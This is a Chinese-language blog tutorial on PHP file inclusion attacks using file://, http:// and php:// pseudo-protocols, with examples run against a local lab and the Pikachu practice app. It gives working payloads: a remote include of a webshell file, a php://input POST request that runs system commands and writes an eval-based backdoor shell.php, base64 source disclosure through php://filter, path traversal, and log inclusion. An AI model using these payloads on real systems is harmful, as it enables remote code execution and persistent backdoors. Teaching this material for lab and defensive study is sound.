首页 > 其他分享 >文件包含漏洞-伪协议

文件包含漏洞-伪协议

时间:2024-06-21 19:28:26浏览次数:20  
标签:文件 http allow 包含 url 192.168 漏洞 file php

目录

一、file://协议

1.介绍

2.利用条件

3.利用方法

二、http://协议

1.介绍

三、php://协议

1.介绍

2.php://input方法

⑴前提条件

 ⑵利用包

3.php://filte方法

⑴前提条件

⑵格式

四、案例(包含本地文件)

1.包含敏感信息

 2.包含图片

 3.包含日志文件


一、file://协议

1.介绍

file://是一种用于访问本地文件系统的URI(Uniform Resource Identifier)协议。在PHP中,file://协

议可以用于打开本地文件,也可以用于包含本地文件。

2.利用条件

allow_url_fopen = Off

allow_url_include = Off

使用绝对地址

3.利用方法
http://192.168.59.129/5/demo1/baohan.php?
file=file://D:/phpStudy/PHPTutorial/WWW/flag.txt

二、http://协议

1.介绍

http://是一种用于在Web上定位资源的URI(Uniform Resource Identifier)协议。在PHP中,http://

协议可以用于访问远程HTTP服务器上的资源,也可以用于包含远程文件

2.使用条件

allow_url_fopen = on

allow_url_include = on

3.利用方法

http://192.168.59.129/5/demo1/baohan.php?
file=http://192.168.59.128:8000/webshell.txt

三、php://协议

1.介绍

php://是一种PHP提供的伪协议(wrapper),用于在PHP中访问各种输入和输出流。在文件包含漏洞中,攻击者可以利用php://伪协议来读取和执行本地文件

  1. php伪协议有几个方法,其中用的比较多的是php://input方法和php://fiter方法
  2. php://input:可以访问请求的原始数据的只读流,在 POST 请求中 访问 POST 的 data 部分,在

enctype="multipart/form-data" 的时候 php://input 是无效的。主要用来执行代码。

  • php://filter:是一种过滤器伪协议,可以用于对数据流进行过滤,例如对文件进行 base64 编码。攻击者可以利用该伪协议来读取本地文件中的代码。主要用来读取源码
2.php://input方法
⑴前提条件

allow_url_fopen = on

allow_url_include = on

 ⑵利用包
POST /5/demo1/baohan.php?file=php://input HTTP/1.1
Host: 192.168.59.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101Firefox/102.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=dibdm203c34fk31ofunudueah3
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
<?php phpinfo(); ?>
<?php system('dir') ?>
<?php fputs(fopen('shell.php','a'),'<?php @eval($_POST[\'cmd\']);phpinfo();?') ?
>
3.php://filte方法
⑴前提条件

allow_url_include=on/off

allow_url_fopen=on/off

⑵格式

php://filter/过滤器名/resource=文件名

参数详解:

resource=<要过滤的数据流>

read=<读链的过滤器>

write=<写链的筛选列表>

其中可用的过滤器列表:

convert.base64-encode:将输入转换成 base64 编码的格式

convert.base64-decode:将输入从 base64 编码还原成原始格式

convert.quoted-printable-encode:将输入转换成 quoted-printable 编码的格式

convert.quoted-printable-decode:将输入从 quoted-printable 编码还原成原始格式

convert.iconv.*:使用 iconv 库对输入进行转码

string.rot13:使用 ROT13 算法对输入进行加密

string.toupper:将输入中的所有字母转换成大写形式

string.tolower:将输入中的所有字母转换成小写形式

利用url:

php://filter/过滤器名/resource=文件名
192.168.59.129/5/demo1/baohan.php?file=php://filter/read=convert.base64-
encode/resource=D:\phpStudy\PHPTutorial\WWW\5\demo1\baohan.php

四、案例(包含本地文件)

1.包含敏感信息
http://192.168.59.129/pikachu/vul/fileinclude/fi_local.php?
filename=../../../../flag.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
 2.包含图片
http://192.168.59.129/pikachu/vul/fileinclude/fi_local.php?
filename=../../unsafeupload/uploads/shell.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%
E8%AF%A2
 3.包含日志文件
http://192.168.59.129/5/demo1/baohan.php?
file=D:\phpStudy\PHPTutorial\Apache\logs\error.log

标签:文件,http,allow,包含,url,192.168,漏洞,file,php
From: https://blog.csdn.net/a770067334/article/details/139868236

相关文章

  • Qt 文件模型(QFileSystemModel)详细介绍
    一.定义Qt提供了QFileSystemModel类,用于在Qt应用程序中展示文件系统的数据。QFileSystemModel类是QAbstractItemModel的子类,可以方便地将文件系统的文件和文件夹结构作为数据模型,供Qt的视图类(比如QTreeView、QListView等)使用。二.功能设置根路径:使用setRootPath()方法设置......
  • 容器镜像安全:安全漏洞扫描神器Trivy
    目录一.系统环境二.前言三.Trivy简介四.Trivy漏洞扫描原理五.利用trivy检测容器镜像的安全性六.总结一.系统环境本文主要基于Dockerversion20.10.14和Linux操作系统Ubuntu18.04。服务器版本docker软件版本CPU架构Ubuntu18.04.5LTSDockerversion20.10.14x86_......
  • Python批量保存Excel文件中的图表为图片
    Excel工作簿作为一款功能强大的数据处理与分析工具,被广泛应用于各种领域,不仅能够方便地组织和计算数据,还支持用户创建丰富多彩的图表,直观展示数据背后的洞察与趋势。然而,在报告编制、网页内容制作或分享数据分析成果时,直接嵌入整个Excel文件往往不够便捷,且可能受限于接收者......
  • 深入解析:Yarn 锁文件的工作原理与最佳实践
    Yarn是一个现代的包管理器,旨在提供快速、可靠和安全的依赖管理。它在JavaScript项目中广泛使用,尤其是在使用React等前端框架时。Yarn的一个核心特性是它的锁文件,它确保了项目依赖的一致性和可重复性。本文将深入探讨Yarn锁文件的工作原理,并提供一些最佳实践,以帮助开......
  • 实验7_文件应用编程
    #include<stdio.h>#include<string.h>#include<stdlib.h>intmain(){ intcnt=0; charc; FILE*fp; fp=fopen("data4.txt","r"); while(!feof(fp)) { c=fgetc(fp); if(c=='\n'||c==''||c==�......
  • Zyxel NAS设备的CVE-2024-29973远程代码执行漏洞验证
    概述最近,ZyxelNAS设备曝出了一个重大安全漏洞(CVE-2024-29973),该漏洞允许远程攻击者在受影响的设备上执行任意代码。这一漏洞已经被广泛关注,并被证实可以在实际中复现。本文将详细介绍该漏洞的成因、利用方式以及如何检测和防御这种攻击。漏洞成因ZyxelNAS设备中存在一个不安......
  • python读取excel文件
    在Python中,可以使用pandas库来读取Excel文件。首先,确保安装了pandas和openpyxl(用于处理Excel文件的库):pipinstallpandasopenpyxl以下是使用pandas读取Excel文件的示例代码:importpandasaspd#读取Excel文件df=pd.read_excel('example.xlsx')#显示数据框内容p......
  • 实验7 文件应用编程
    task.4 #include<stdio.h>intmain(){FILE*fp;charch;intcount=0;fp=fopen("data4.txt","r");if(fp==NULL){printf("failtoopenfile\n");return;}while((ch=fg......
  • zabbix agent 日志文件轮询分析
    1、zabbixagent日志文件轮询分析的初衷zabbixagent的日志文件默认在/var/log/zabbix目录下面。默认/目录只有20G或者40G,随着运行时间越来越长日志文件也会变大,会占用磁盘空间 2、zabbixagent文件为什么会过大是由于加了一些自定义监控项,这些监控项在执行的时候会记录......
  • springMvc 接收文件 MultipartFile
    使用SpringMVC 的controller中接收文件,如果只是接收一个文件,声明MultipartFile或者指定@RequestParam注解,参数(strReqBody和 images)与前端参数一致即可例:第一种方式publicvoiduploadImg(MultipartFileimg){}第二种public void uploadImg(SringstrReqBody,@Req......